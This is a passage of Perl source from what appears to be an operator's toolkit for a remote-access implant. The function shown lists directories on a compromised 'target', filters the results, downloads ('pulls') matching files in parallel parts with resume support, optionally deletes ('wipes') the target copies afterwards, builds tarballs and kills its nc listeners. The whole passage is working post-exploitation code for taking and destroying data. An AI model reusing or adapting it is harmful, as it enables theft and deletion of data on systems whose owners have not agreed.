      #dbg("Set lssnopenlines=$lssnopenlines=");
    } else {
      unlink($tmpfile);
      my ($firenow,$thisdate,$savestamp,$dateopt) = ();
      undef $gbl_lastlamefreebsdecho;
      foreach $dodir (@dodirs) {
	# If opt_x is set, that overrides dates that came from opt_l file.
	if (!$opt_x and $datestamp{$dodir}) {
	  $thisdate = $datestamp{$dodir} unless $thisdate;
	  
	  # If this dir has a datestamp for it, and it is different from
	  # the last $dodir processed, we $firenow, the redo below will process
	  # this $dodir with a new $datestamp.
	  #dbg("on dodir=$dodir datestamp=$datestamp{$dodir} thisdate=$thisdate firenow=$firenow");
	  if ($thisdate and $thisdate ne $datestamp{$dodir}) {
	    $firenow = 1;
	    $dateopt = " -xm $thisdate";
	    #dbg("now dateopt=$dateopt=");
	  } else {
	    $dolist .= " $dodir";
	  }
	} else {
	  $dolist .= " $dodir";
	}
	
	next unless (($freebsdtarget and $recursels) or 
		     length($dolist) > $nopenmaxcommandlength) ;
	my ($o,$n,@lsso) = ();
	if (defined &mydoit) {
	  ($o,$n,@lsso) = mydoit("-ls$lsoptions$dateopt $dolist >>T:$tmpfile");
	} else {
	  ($o,$n,@lsso) = doit("-ls$lsoptions$dateopt $dolist >>T:$tmpfile");
	}
	if ($freebsdtarget and
	    $lsoptions =~ /R/ and
	    $serverver =~ /3\.0\.[432]/) {
	  doit("echo");
	  if (!$gbl_lastlamefreebsdecho or time()-$gbl_lastlamefreebsdecho > 30) {
	    doit("-lsh echo above remote garbage echo line to clear buffer after -ls -R on FreeBSD, -ls -R bug");
	    newhostvar("gbl_lastlamefreebsdecho",time());
	  }
	}
	$lssoutput .= $o;
	$lssnopenlines .= $n;
	push(@lssoutput,@lsso);
	$dolist = "";
	if ($firenow) {
	  $thisdate = "";
	  $firenow = 0;
	  $lsoptions .= $savestamp;
	  # redo will re-process $dodir, which has not yet been done
	  redo;
	}
      }
      if (defined $gbl_lastlamefreebsdecho) {
	doit("-lsh echo above remote garbage echo line to clear buffer after -ls -R on FreeBSD, -ls -R bug") unless
	  (time()-$gbl_lastlamefreebsdecho < 2);
;
      }
      if ($dolist) {
	if ($thisdate) {
	  $dateopt = " -xm $thisdate";
	  #dbg("now dateopt=$dateopt=");
	}
	
	my ($o,$n,@lsso) = ();
	if (defined &mydoit) {
	  ($o,$n,@lsso) = mydoit("-ls$lsoptions$dateopt $dolist >>T:$tmpfile");
	} else {
	  # Why do we need -nohist here? Thought doit put that in?
	  ($o,$n,@lsso) = doit("-ls$lsoptions$dateopt $dolist -nohist >>T:$tmpfile");
	}
	if ($freebsdtarget and $lsoptions =~ /R/) {
	  doit("echo",
	       "-lsh echo above remote garbage line to clear buffer after -ls -R on FreeBSD, -ls -R bug");
	}
	$lssoutput .= $o;
	$lssnopenlines .= $n;
	push(@lssoutput,@lsso);
      }
      # Call this to save off this output for re-use later.
      reusefile($tmpfile,"# -ls$lsoptions @dodirs\n# OTHER OPTIONS: -lss $ouropts",$lssoutput,$lssnopenlines,@lssoutput);
    }
    if ($cmdoutfile) {
      $tmpfile = $cmdoutfile;
      doit("-cmdout") ;
      $extra1 = "(\s*\d+\s+)";
    }
    if ($warnings) {
      $finaloutput = "$COLOR_FAILURE\nIgnoring these options (defined neither for $prog nor -ls):\n   ";
      $finaloutput .= join("\n   ",grep /Unknown option/,split(/\n/,$warnings));
      $finaloutput .= join("\n",grep ! /(^$|Unknown option)/,split(/\n/,$warnings));
      $finaloutput .= "$COLOR_NORMAL\n";
      #    dbg("banggrep=".join("\n",grep ! /(^$|Unknown option)/,split(/\n/,$warnings))."===");
    }
    if (my $listingsize = -s $tmpfile > 5000000) {
      $finaloutput .= "Remote -ls is done. Listing is $listingsize bytes.\n".
	"$COLOR_FAILURE  Sorting it may take a while.";
      #  } else {
      #dbg("time=".time()." starttime=$starttime");
      #    $finaloutput .= "Remote -ls is done.\n"
      #      if (time() - $starttime > 5);
    }
    #dbg("

#tmpfile=$tmpfile\n".`ls -al $tmpfile`."\n\n
#lssoutput has ".scalar @lssoutput." items

#");

    if ($skiplsstamp) {
      @lssoutput = split(/\n/,`cat $tmpfile`);
    } else {
      @lssoutput = split(/\n/,`lsstamp $tmpfile`);
    }
#    dbg("lssoutput has ".scalar @lssoutput." items

#filesonly=$filesonly=
#cmdoutfile=$cmdoutfile=
#outfile=$outfile=
#nodirs=$nodirs=
#lssoutput=(\n".join("\n",@lssoutput)."\n)

#");
#lssoutput=(\n".join("\n",@lssoutput)."\n)

    if ($filesonly) {
      if ($cmdoutfile) {
	# In this mode the inode shows, one extra column to skip
	@lssoutput = grep /^\s*\d+\s+-/,@lssoutput;
      } else {
	@lssoutput = grep /^-/,@lssoutput;
      }
    } elsif ($nodirs) {
      if ($cmdoutfile) {
	# In this mode the inode shows, one extra column to skip
	@lssoutput = grep !/^\s*\d+\s+d/,@lssoutput;
      } else {
	@lssoutput = grep !/^d/,@lssoutput;
      }
    }
    my @shorteroutput=();


    processnopenls(0,0,0,0,"",$stopdate,@lssoutput) ;

    foreach (@lssoutput) {
      s/\s*$//;
      # This next for files only...why was it here? Doing that above in
      # if($filesonly) section...wtf...this was a burnBURN bug.
      #dbg("cmdoutfile=$cmdoutfile= HERE2 WITH DIR: $_") if /drw/;
      #      if ($cmdoutfile) {
      #	# In this mode the inode shows, one extra column to skip
      #	next unless /^\s*\d+\s+-/; # files only
      #      } else {
      #	next unless /^\s*-/; # files only
      #      }
      my $size = 0;
      if ($cmdoutfile) {
	# In this mode the inode shows, one extra column to skip
	($size) = /\s*\d+\s+\S+\s+\S+\s+\S+\s+\S+\s+(\S+)\s+/;
      } else {
	($size) = /\s*\S+\s+\S+\s+\S+\s+\S+\s+(\S+)\s+/;
      }
      #dbg("stopdate=$stopdate cmdoutfile=$cmdoutfile from $tmpfile, size=$size Line=$_");
      next unless ($size =~ /^\d+$/);
      if ($stopdate) {
	my ($type,$inodes,$user,$group,$size,$monstr,
	    $mday,$hm,$y,$filename,@morefilename)
	  = split (/\s+/,$_);
	$type = substr($type,0,1);
#      dbg("type=$type stopdate=$stopdate cmdoutfile=$cmdoutfile from $tmpfile, size=$size Line=$_");
	if ($type eq "-") {
#      dbg("stopdate=$stopdate cmdoutfile=$cmdoutfile from $tmpfile, size=$size Line=$_");
	  my $mon=sprintf("%02d",1+$nummon{$monstr});
	  $mday=sprintf("%02d",$mday);
	  $y = sprintf("%04d",$y);
	  $filedate = "$y$mon$mday";
#	  dbg("Comparing file date $filedate with stopdate=$stopdate");
	  next unless ($stopdate ge $filedate);
	}
      }
      #dbg("Comparing $size > $minsize and $size < $maxsize");
      if ($maxsize > 0 and !($tailbytes or $headbytes)) {
	next if ($size > $maxsize);
      }
      if ($minsize > 0) {
	next if ($size < $minsize);
      }
      if ($skipempty) {
	next if int($size) == 0;
      }
      #dbg("In loop on lssoutputcmdoutfile=$cmdoutfile: $_");
      
      #dbg("1=$1 2=$2 3=$3 4=$4 5=$5 6=$6 7=$7 8=$8");
      #dbg("size=$size= filename=$filename= -lss -G line: $_");
      # Skip files we already have unless -r is used, whether
      # via -get this op or -gs rsync from previous op data.
      #dbg("filename=$filename=
      #skippedgot=$skippedgot=");
      my ($gotindown,$gotinrsync,$filename,$sizematch,$sizediff) = gotlocalcopy($_,$getlocaldir,$targetcwd);#gotlocalcopy($_);
#      dbg("HERENEW2

#forcereget=$forcereget=
#offerget=$offerget=
#gotindown,gotinrsync,filename,sizematch,sizediff=
#$gotindown,$gotinrsync,$filename,$sizematch,$sizediff=

#");
      
      #      if ($offerget) {
      #	unless($forcereget) {
      if ($gotindown or $gotinrsync) {
#	dbg("Here, we got gotindown=$gotindown=
#  gotinrsync=$gotinrsync=
#offerget=$offerget=
#resumeifpartial=$resumeifpartial=
#sizematch=$sizematch=
#skippedgot=$skippedgot=

#");
	if (!$resumeifpartial or $sizematch) {
	  $skippedgot .= "$_\n";
	  if ($offerget and !$forcereget) {
	    push(@skippedgot,$filename);
	    push(@wipethesehere,$filename)
	      if ($wipeafter);
	    next ;
	  } else {
	    $morefile = "$COLOR_FAILURE\n# (files shown in red were pulled earlier)";
	  }
	}
	if ($resumeifpartial and $sizediff > 0) {
	  $sumadjustment += $filesizes{$filename} - $sizediff;
	  $completingpartial .= 
	    sprintf("%25d    %-38s\n",
		    $sizediff,
		    $filename,
		   );
	}	
      }
      #	}
      #      }
      if (@exprspositive) {
	my @newlssoutput = ();
	my @newfiles = ();
	my $getit=0;
	foreach my $expr (@exprspositive) {
	  if (/$expr/ or ($nocasepositive and /$expr/i)) {
	    $getit++;
	    $exprspositive{$expr}++;
	  }
	  last if $getit;
	  #	  push(@newlssoutput,grep /$expr/,@lssoutput);
	  #	  push(@newfiles,    grep /$expr/,@files);
	}
	next unless $getit;
      }
      if (@exprsnegative) {
	my $skipit=0;
	foreach my $expr (@exprsnegative) {
	  if (/$expr/ or ($nocasenegative and /$expr/i)) {
	    $exprsnegative{$expr}++;
	    $skipit++ ;
	    last;
	  }
	  #	  @lssoutput = grep !/$expr/,@lssoutput;
	  #	  @files = grep !/$expr/,@files;
	}
	next if $skipit;
      }
      #      dbg("Adding filename=$filename= to \@files in sub nopenlss");
      push(@shorteroutput,$_);
      push(@files,$filename) if $filename;
    }
    @longerlssoutput = @lssoutput;
    @lssoutput = @shorteroutput;
#dbg("


#Here lssoutput is (@lssoutput)


#");
    #  }
    if (@exprspositive) {
      my ($nocase,$nocasei) = ();
      if ($nocasepositive) {
	$nocase = " (case insensitive)";
	$nocasei = "i";
      }
      $moregreps .= "\n$COLOR_NOTE\n".
	"Output also filtered to ONLY show those MATCHING$nocase any of:\n";
      foreach my $e (@exprspositive) {
	$moregreps .= sprintf("   m/%-35s  %5d hits\n",$e."/$nocasei",$exprspositive{$e});
      }
    }
    if (@exprsnegative) {
      my ($nocase,$nocasei) = ();
      if ($nocasenegative) {
	$nocase = " (case insensitive)";
	$nocasei = "i";
      }
      my $then = " also";
      $then = " then" if $moregreps;
      $moregreps .= "\n$COLOR_NOTE\n".
	"Output$then filtered to NOT show those MATCHING$nocase any of:\n";
      foreach my $e (@exprsnegative) {
	$moregreps .= sprintf("   m/%-35s  %5d hits\n",$e."/$nocasei",$exprsnegative{$e});
      }
    }
    #  $moregreps .= "\n\n" if $moregreps;
    if ($skippedgot and $offerget) {
      my $use_r = "use -r to re-get them";
      $use_r = "RE-PULLING them again" if $forcereget;
      my $ormore = " or -gs rsynced" if $skippedrsync;
      $skippedgot = "\n$COLOR_FAILURE\n\n".
	"Files pulled$ormore previously, $use_r:\n$COLOR_FAILURE\n".
	  $skippedgot;
      $outmore .= ", skipped some already -gotten$COLOR_FAILURE".
	"(in red above)$COLOR_NOTE"
	  unless $outmore =~ /skipped some already -got/;
    }

    $morefile = "\n$COLOR_FAILURE\nAbove reformatted/sorted -ls output also saved locally to $outfile $preserved"
      if $outfile;
#  if (@exprspositive) {
#    $moregreps .= "\n$COLOR_NOTE\n".
#      "Output also filtered to only show those MATCHING any of:\n".
#      "   m,".join(",\n   m," ,@exprspositive).",\n\n";
#    my @newlssoutput = ();
#    my @newfiles = ();
#    foreach my $expr (@exprspositive) {
#      push(@newlssoutput,grep /$expr/,@lssoutput);
#      push(@newfiles,    grep /$expr/,@files);
#    }
#    @lssoutput = @newlssoutput;
#    @files     = @newfiles;
#  }
#  if (@exprsnegative) {
#    my $then = " also";
#    $then = " then" if $moregreps;
#    $moregreps .= "\n$COLOR_NOTE\n".
#      "Output$then filtered to NOT show those MATCHING any of:\n".
#      "   m,".join(",\n   m," ,@exprsnegative).",\n\n";
#    foreach my $expr (@exprsnegative) {
#      @lssoutput = grep !/$expr/,@lssoutput;
#      @files = grep !/$expr/,@files;
#    }
#  }
    @lssoutput = uniqify_array(@lssoutput);
    @files     = uniqify_array(@files);

  # Here we split into $splitcount pieces if need be
    @allfiles = @files if ($tarfile or $wipeafter);
#    dbg("files has ".scalar @files." entries,
#allfiles has ".scalar @allfiles." entries,
#");
  }
  my $totalfilecount = @files;
  if ($splitcount > 1) {
#dbg("splitcount=$splitcount=");
    $splitcount = minof($splitcount,$totalfilecount)
      if ($mysplitpart == 1);
#dbg("after minof we have splitcount=$splitcount=");
    if (open(LSSOUT,">$optmp/dbgorig.$mysplitpart.of.$splitcount")) {
      print LSSOUT join("\n",@files);
      print LSSOUT "\n";
    }
    close(LSSOUT);
    if ($mysplitpart == 1) {
      my @origfiles = @files;
      my @origlssoutput = @lssoutput;
      for (my $p = 1;$p <= $splitcount;$p++) {
	my @tmpfiles = @origfiles;
	my @tmplssoutput = @origlssoutput;
	splitload($p,$splitcount,\@tmpfiles);
	splitload($p,$splitcount,\@tmplssoutput);
	if ($p == $mysplitpart) {
	  @files = @tmpfiles;
	  @lssoutput = @tmplssoutput;
	} else {
	open(LSSOUT,">$optmp/files.$cksum.$p.of.$splitcount");
	print LSSOUT join("\n",@tmpfiles)."\n";
	close(LSSOUT);
	open(LSSOUT,">$optmp/lssoutput.$cksum.$p.of.$splitcount");
	print LSSOUT join("\n",@tmplssoutput)."\n";
	close(LSSOUT);
}
      }
    } else {
      my $waitcount = 15;
      while ($waitcount--) {
#dbg("Looking for: ls -al $optmp/lssoutput.$cksum.$mysplitpart.of.$splitcount\n".
#    `ls -al $optmp/lssoutput.$cksum.$mysplitpart.of.$splitcount`);
	last if open(LSSIN,"$optmp/lssoutput.$cksum.$mysplitpart.of.$splitcount");
	sleep 1;
	mydie("Aborting, part 1 of $splitcount was never run.") if $waitcount < 2;
      }
      while (<LSSIN>) {
	chomp;
	push(@lssoutput,$_);
      }
      close(LSSIN);
      open(LSSIN,"$optmp/files.$cksum.$mysplitpart.of.$splitcount");
      while (<LSSIN>) {
	chomp;
	push(@files,$_);
      }
      close(LSSIN);
    }
    if (open(LSSOUT,">$optmp/dbg.$mysplitpart.of.$splitcount")) {
      print LSSOUT join("\n",@files);
      print LSSOUT "\n";
    }
    close(LSSOUT);

  }

  $lssoutput = join("\n",@lssoutput);
#dbg("


#lssoutput=
#$lssoutput


#");
  $sizeoutput = sumsizes($chiliopts,$lssoutput,$maxdownload,($tailbytes or $headbytes),$maxsize) if $sum;
  my $filelist = "";
  my $sortbysize = 0; # set this with $opt_something if we get this working

  # We want all lines in @lssoutput we've pulled to become red in our output
  # or not shown at all if $offerget is on.
  my @tmp = grep /^-/,split(/\n/,$skippedgot);
  foreach my $gotline (@tmp) {
    my $lastred=0;
    for (my $i=0;$i<@lssoutput;$i++) {
      next unless $lssoutput[$i] eq $gotline;
      if ($offerget and !$forcereget) {
	$lssoutput[$i] = "";
	next;
      }
      $lssoutput[$i] = "$COLOR_FAILURE$lssoutput[$i]$COLOR_NORMAL" unless $burnmode;
    }
  }

#dbg("HERENEW0 filelist=$filelist= lssoutput=(@lssoutput)");
  if ($sortbysize) {
    $filelist = sortoncol(4,&by_num,@lssoutput);
  } else {
    $filelist = join("\n",@lssoutput);
  }
#dbg("HERENEW filelist=$filelist= lssoutput=(@lssoutput)");
  # Remove double spaces from empty lines joined
  $filelist =~ s,\n\n,\n,g;
  # Remove extra colors for concurrent red lines
  $filelist =~ s,\033\[0;39m\n\033\[2;31m,\n,g;
  # Change wording in $outmore and $outmore2 to reflect COUNT of those pulled already
  my $count = scalar(@tmp);
  if ($count > 0) {
#dbg("tmp has ".scalar @tmp. " elements count=$count and forcereget=$forcereget=");
    $outmore =~ s/skipped some already -gotten/skipped $count already -gotten--use -r to re-get/;
    $outmore2 =~ s/skipped some already -gotten/skipped $count already -gotten--use -r to re-get/;
  }

#    dbg("HERE: Skippedgot=$skippedgot=");
 # if ($skippedgot) {
#    my @tmp = grep /^-/,split(/\n/,$skippedgot);
#    if ($offerget) {
#      foreach my $gotline (@tmp) {
#	#dbg("skippedgot line=$gotline=");
#	$filelist =~ s,\n*$gotline\n*,\n,g;
#      }
#    } else {
#      # Dump this now, have what we need in @tmp
#      $skippedgot = ".\n";
#      foreach my $gotline (@tmp) {
#	$filelist =~ s/($COLOR_NORMAL){0,1}(\n*)($gotline)(\n*)/$2$COLOR_FAILURE$3$COLOR_NORMAL$4/;
#	if (length($1)) {
#	  # Remove the new red color if $1 was there, meaning previous line was already red
#	  $filelist =~ s,$COLOR_FAILURE$gotline,$gotline,;
#	}
#dbg("Changed filelist now to:


#$filelist


#");
#      }
#    }
#    my $count = scalar(@tmp);
#    $outmore =~ s/skipped some already -gotten/skipped $count already -gotten/;
#    $outmore2 =~ s/skipped some already -gotten/skipped $count already -gotten/;
#  }
#dbg("Changed filelist now to:


#$filelist


#");
  my $outmore2 = "";
  if ($outmore) {
    #dbg("outmore was=$outmore=");
    $outmore =~ s/^, //;
    $outmore = " ( $outmore )";
    $outmore =~ s/,/,\n#               /g;
    $outmore =~ s/\)$/\n#              \)/;
#    while (length $outmore > 65 and $outmore =~ /,/) {
#      my ($chunk) = $outmore =~ /(\s+\S+)\s*$/; 
#      $outmore =~ s/\s+\S+\s*$//;
#      my ($chunk) = $outmore =~ /,\s+([^,]*)/;
#      $outmore =~ s/,\s+([^,]*)/,/;
#dbg("outmore now=$outmore=");
#      $outmore2 = "\n# $chunk$outmore2";
#    }

#dbg("Final:
#outmore=$outmore=
#outmore2=$outmore2=
#prog=$prog
#quiet=$quiet
#lssoutput=(@lssoutput)
#");
#    $outmore2 = "\n# $outmore2" if $outmore2;
  }
  my $whichoutput = "Above";
  $whichoutput = "Previous" if $reusewarning;
  my $listcount = @lssoutput;
  my $longerlistcount = @longerlssoutput;
  my $countstr = "";
  if ($listcount > 0) {
    if ($longerlistcount == 0 or $listcount == $longerlistcount) {
      $countstr = ", $listcount entries, ";
    } else {
      my $splitting = "/splitting" if $splitcount > 1;
      $countstr = ", $listcount entries (after filtering$splitting from $longerlistcount), \n#             ";
    }
  }
  #dbg("HERENEW filelist=$filelist=");
  unless ($filelist or $viatar) {
    my $more = "$COLOR_FAILURE NOT ALREADY PULLED" if $offerget;
    $filelist = "\n\n# NO MATCHING FILES$more\n\n";
  }
  progprint
    ($skippedgot.
     "$COLOR_NOTE\n".
     "$whichoutput output reformatted by autoutils:nopenlss($ouropts $PATHS):".
     "$COLOR_NORMAL\n".
     $finaloutput.
     $filelist.
     "\n$COLOR_NOTE\n# Above output$countstr$outmore was sorted from:\n".
     "#    -ls$lsoptions $PATHS" .
     $sizeoutput.
     $morefile.
     $moregreps.
     $reusewarning
    ) unless ($quiet and $prog ne "-gs lss");
  $finaloutput .= join("\n",@lssoutput)."\n";
  $finaloutput =~ s,\033\[0;39m,,g;
  $finaloutput =~ s,\033\[2;31m,,g;
  $sizeoutput =~ s,\033\[0;39m,,g;
  $sizeoutput =~ s,\033\[2;31m,,g;

  print LSSOUTFILE
     $finaloutput.
     $sizeoutput.
     ""
       if $outfile;
  close(LSSOUTFILE);
  @ARGV=@resetargv if $resetargv;
  my $pullingfiles = 0;
  if (($offerget or $chiliopts) and -f $forcelssstop) {
    $offerget = 0;
    progprint("$COLOR_FAILURE\n\n".
	      "Force stop file ($forcelssstop) now exists.\n\n".
	      "ABORTING this get (called by $prog). You will need to manually remove that\n".
	      "file to proceed with any more use of -lss -G or nopengetfiles() during this op.\n".
	      "(this includes autonewdone, autogetcdrhits, autosurvey and possibly more), which\n".
	      "also pull files this way).\n\n".
	      "$COLOR_NORMAL\n\n".
	      "Download aborted. Remove this file to allow future -lss -Gs this op:\n\n".
	      "   -lsh  rm -f $forcelssstop"
	     );
  }
  if ($offerget or $chiliopts) {
    my $filecount = @files;
    #dbg("filecount=$filecount=");
    if ($filecount or $viatar) {
      my ($options,$moresize,$ans,$longans,$totalbytes) = ();
      $options .= $getpreservetime;
      $options .= "GETVIATAR${viatar}VIATAR" if $viatar;
      $options .= $skipdupes if $skipdupes;
      $options .= "RESUMEIFPARTIAL" if $resumeifpartial;
      $options .= "POPUP" if $popem;
      $options .= "ONEPERLINE" if $oneperline;
      $options .= $forcereget;
      my ($these,$s) = ("this");
      ($these,$s) = ("these","s") if @files > 1;
      if ($skipempty) {
	$moresize = "\n(only$nonempty files)";
      } else {
	$options .= "GETZERO=1";
      }
      if ($maxdownload) {
	$options .= "MAXDOWNLOAD=$maxdownload";
      }
      if ($maxsize > 0) {
	$options .= "TAILBYTES" if $tailbytes;
        $options .= "HEADBYTES" if $headbytes;
	$options .= "SIZEMAX=$maxsize";
	$moresize = "\n(only$nonempty files <= $maxsize bytes)" if $maxsize;
	$moresize = "\n(only last $maxsize bytes of $nonempty files bigger than that)" if $maxsize;
	$moresize = "\n(only$nonempty files >= $minsize bytes)" if $minsize;
	$moresize = "\n(only$nonempty files <= $maxsize and >= $minsize bytes)" if $minsize and $maxsize;
      }
      my $sumsizes = sumsizes($chiliopts,$lssoutput,$maxdownload,($tailbytes or $headbytes),$maxsize,$sumadjustment);
      my $filecount = @files;
      #dbg("sumsizes=$sumsizes=


#donotprompt=$donotprompt=
#splitcount=$splitcount=
#mysplitpart=$mysplitpart=

#");
      #    $moresize .= ", a total of $totalbytes bytes";
      
      $ans = "";
      $ans = "y" if $donotprompt;
      my ($their,$s,$each,$those,$have) = ("its","","","that","has");
      if ($othercount > 1) {
	  $s = "s";
	  $their = "their";
	  $each = " each";
	  $those = "those";
	  $have = "have";
      }
      if (!$donotprompt or ($splitcount > 1 and $mysplitpart == 1)) {
	my $partstring = " (-G)\n";
#Usage: -chili [-l] [-s lines] [-m max] MM-DD-YYYY remdir remfile [remfile ...]

	$partstring = " (-chili $chiliopts DIR(s) FILE(s))\n"
	  if $chiliopts;
	my $othercount = $splitcount - 1;
	my $defaultans = "N";
	if ($donotprompt or ($splitcount > 1)) {
	  $defaultans = "Y";
        } else {
	  $defaultans = "A" if $wipeafter;
        }
	if ($splitcount > 1) {
	  $partstring = ", (-G, part $mysplitpart of $splitcount):\n".
	    "PASTABLES for other window$s:\n   "
	      unless ($mysplitpart > 1);
	  if ($mysplitpart == 1) {
	    my @otherruns = ();
	    my $thiscmd = "-gs lss $origargs";
	    $thiscmd =~ s,-(\S*)U,-$1,;
	    $thiscmd =~ s,-\s,,;
	    #dbg("$prog thiscmd=$thiscmd=");
	    if ($othercount) {
	      for (my $i=2; $i <= $splitcount;$i++) {
		my $cmd = $thiscmd;
		$cmd =~ s,s\s*\d+,s $i,;
		#dbg("pushing cmd=$cmd=");
		$partstring .="$cmd\n   ";
		push (@otherruns,$cmd);
	      }
	    }
	  }
	}
	my $prompted = "";
	my $prompt = "";
	$prompt = "You should start the other $othercount instance$s now. Continue with pull 1 of $splitcount?\n\n"
	    if ($splitcount > 1 and $mysplitpart == 1);
	if ($wipeafter) {
	    $prompt = "You should start the other $othercount instance$s now. About to continue with pull 1 of $splitcount.\n\n"
	    if ($splitcount > 1 and $mysplitpart == 1);
	  $prompted = " prompted about" unless $withoutprompt;
	  $prompt = "$COLOR_FAILURE\n".
	    "NOTE: You are DELETING target files here. If you answer [N]o to the\n".
	    "      GET prompt, you will still be$prompted deleting the files on\n".
	    "      target. You can answer ABORT here to skip the wipe.\n".
	    $COLOR_NORMAL.
	    "\n";
	}
	$prompt .= "Do you want to get the $filecount file$s shown above$moresize?";

	if ($completingpartial) {
	  my $count = scalar split(/\n/,$completingpartial);
	  my ($s,$is,$Some,$this,$isa,$verbs,$a) = ("","is","One","this","is a","s"," a");
	  ($s,$is,$Some,$this,$isa,$verbs,$a) = ("s","are","Some","these","are","","") if ($count > 1);
	  $completingpartial = "\n".
	    "$Some target file$s will resume where a previous download left off.\n".
	    "To avoid this behavior, answer \"N\"o here, and retry using the -p option.\n".
	    "You need the -p option, for instance, if $this $isa binary file$s that change$verbs\n".
	    "throughout (like a database), vs.$a text file$s that grow$verbs by adding lines.\n\n".
	    sprintf("%25s    %-38s\n","Bytes Remaining","File").$COLOR_FAILURE.
	    sprintf("%25s    %-38s\n","===============","====").$COLOR_NORMAL.
	    $completingpartial."\n";
	}
	my $whichget = "-get";
	$whichget = "-chili" if (defined $chiliopts and $chiliopts);
	($ans,$longans) = mygetinput
	  (			#"Files requested:\n   ".
	   #       join("\n   ",@files)."\n\n".
	   "OPTIONAL $whichget SECTION$partstring".
	   $completingpartial.
	   $sumsizes."\n".$prompt,$defaultans,"A","ABORT","N","Y",
	  );
      }
      if ($ans eq "a") {
	progprint("${COLOR_FAILURE}ABORTED BY USER");
      } elsif ($ans eq "n" and $wipeafter) {
	  offerwipe("${withoutprompt}LISTIS-ls",@lssoutput);
      } elsif ($ans eq "y") {
	$pullingfiles = 1;
	#dbg("wipeafter=$wipeafter=");
	#	my $tailedsome =
	if ($getlocaldir) {
#	  ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid,
#	   $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport,$localport)
#	    =  parsestatus();
	  doit("-lcd $getlocaldir");
	  # Here we re-use the $getlocaldir to store our $localcwd,
	  # and -lcd back to it after the get returns.
	  $oldlocaldir = $localcwd;
	  $options .= "GETL${getlocaldir}LOCALDIR";
	}
	# Note: $stopdate is YYYYMMDD so numeric sortable
	$options .= "STOPDATE$stopdate" if $stopdate;
	# $options does NOT need STARTDATE$startdate since -xm $startdate takes care of that
	#dbg("$options does NOT need STARTDATE$startdate since -xm $startdate takes care of that
#options=$options=

#CALLING: 	nopengetfiles($withoutprompt${wipeafter}LISTIS-ls$options,@lssoutput);

#");
	nopengetfiles("OLDLOCALDIR${oldlocaldir}OLDLOCALDIRCHILI${chiliopts}CHILI$withoutprompt${wipeafter}LISTIS-ls$options",@lssoutput);

	doit("-lcd $oldlocaldir") if $oldlocaldir;
#	nopengetfiles("$withoutprompt${wipeafter}$options",@files);
	if (-f $forcelssstop) {
	    progprint("$COLOR_FAILURE\n\n".
		      "Forcing stop ($forcelssstop now exists).\n\n".
		      "You will need to manually remove that file before any other uses of -lss -G\n".
		      "or nopengetfiles() (this includes autonewdone, autogetcdrhits, autosurvey\n".
		      "and possibly more).\n\n".
		      "$COLOR_NORMAL\n\n".
		      "Download stopped. Remove this file to allow future -lss -Gs this op:\n\n".
		      "   -lsh  rm -f $forcelssstop"
		     );
	}
	if ($maxdownload) {
	    my ($sofar) = bwsofar();
	    if ($sofar >= $maxdownload) {
		progprint("$COLOR_FAILURE\n\n".
			  "Max download ${maxdownload}M has been exceeded (${sofar}M).\n\n".
			  "$COLOR_NORMAL\n\n".
			  "Download stopped. Remove or increase the -T $maxdownload option to get more.\n\n"
			  );
	    }
	}
      }
    } else {
      my $previouslygot = " not already pulled (use -r\n".
	"to re-pull them, see list of already pulled files above)"
	if $skippedgot;
      progprint
	("OPTIONAL -get SECTION (-G)\n\n".
	 $COLOR_FAILURE.
	 "\n\nThere were no matching files$previouslygot."
	);
    }
    # If @wipethesehere is populated, files we were told to pull and delete were already
    # pulled, so we then delete (maybe prompting first) them remotely.
    if (@wipethesehere) {
      my (@hiddenwipes,@otherwipse) = ();
      foreach my $wipethis (@wipethesehere) {
	if (isbeneathhidden($wipethis)) {
	  push(@hiddenwipes,$wipethis);
	} else {
	  push(@otherwipes,$wipethis);
	}
      }
      offerwipe("$whichrm${withoutprompt}CONFIRMSIZE",@hiddenwipes,@otherwipes)
	if ($wipeafter and (@hiddenwipes or @otherwipes));
#      offerwipe("$whichrm${withoutprompt}CONFIRMSIZE",@hiddenwipes) if ($wipeafter and @hiddenwipes);
#      offerwipe("$whichrm${withoutprompt}CONFIRMSIZE",@otherwipes) if ($wipeafter and @otherwipes);


    }
#dbg("tarfile=$tarfile= pullingfiles=$pullingfiles= allfiles has ".scalar @allfiles." entries");
    my $othersdone = 0;
    if ($tarfile and $pullingfiles) {
    #if (($wipeafter or $tarfile) and $pullingfiles) {
      my $what = "build a tarball from this data";
#      $what .= " and remove target files just retrieved" if ($tarfile and $wipeafter);
#      $what = "remove target files just retrieved" if (!$tarfile and $wipeafter);
      waitforothers
	("$prog is about to $what.\n\n"
	 ) if ($splitcount > 1);
#dbg("Calling    splitcount=$splitcount=  offerball($tarfile,"","",@allfiles,@skippedgot);");
      my @dirlist = ();
      foreach (@dodirs) {
	push(@dirlist,".$_");
      }
      if ($tailedsome) {
	# NO NEED HERE ANYMORE, createtarball looks for .tail and .partial
	# if $file not there.
	# Force offerball to use @dirlist by wiping these
	(@allfiles,@skippedgot) = ();
      }
      my $forceit = 0;
      $forceit = "NOXWAIT" if ($tarfile =~ /Auto/) ;
      offerball($forceit,$tarfile,"","$opdown/$nopen_rhostname",\@dirlist,@allfiles,@skippedgot) if $tarfile;
#      offerwipe("CONFIRMSIZE",@allfiles) if $wipeafter;
    }
  }
# dbg("returning inside nopenlss(@_) lssoutput=(".scalar @lssoutput." entries)");
  if ($viatar) {
    `touch $lsstarproc.stop`;
    while (1) {
      waitonlocalport($viatar,3);
      my $test = `netstat -antp | grep ":$viatar .*LISTEN.*nc"`;
      last unless $test;
      my ($pid) = $test =~ m,\s(\d+)/nc,;
      kill TERM,$pid if $pid > 0;
    }
  }
  return (join("\n",@lssoutput),$lssnopenlines,@lssoutput)
}#nopenlss()

sub readpathsfromfile {
  local ($openfile,$nodie) = (@_);
  my @retarr = ();
  unless (open(UTILSIN,$openfile)) {
    close(UTILSIN);
    mydie("Cannot open $openfile") if (!$nodie and defined &mydie);
    return();
  }
  while (<UTILSIN>) {
    my ($datestamp,$junk,$junk0,$junk2,$junk3,$path) = ();
    s/^\s*//;
    s/\s*$//;
    next if (/^\#/ or /^$/);
    # The optional "." in front of the required / allows
    # rsync and other "tar cvf file.tar ." input.
    ($junk2,$junk3,$path) =
      /(.* ){0,1}(\.){0,1}(\/.+)/;
    ($junk,$junk0,$datestamp) =
      /(-(x){0,1}[mac]\s*(\d\d-\d\d-\d\d\d\d))/;
    next unless $path;
    #      next if ($datestamp and $datestamp ne $datematch);
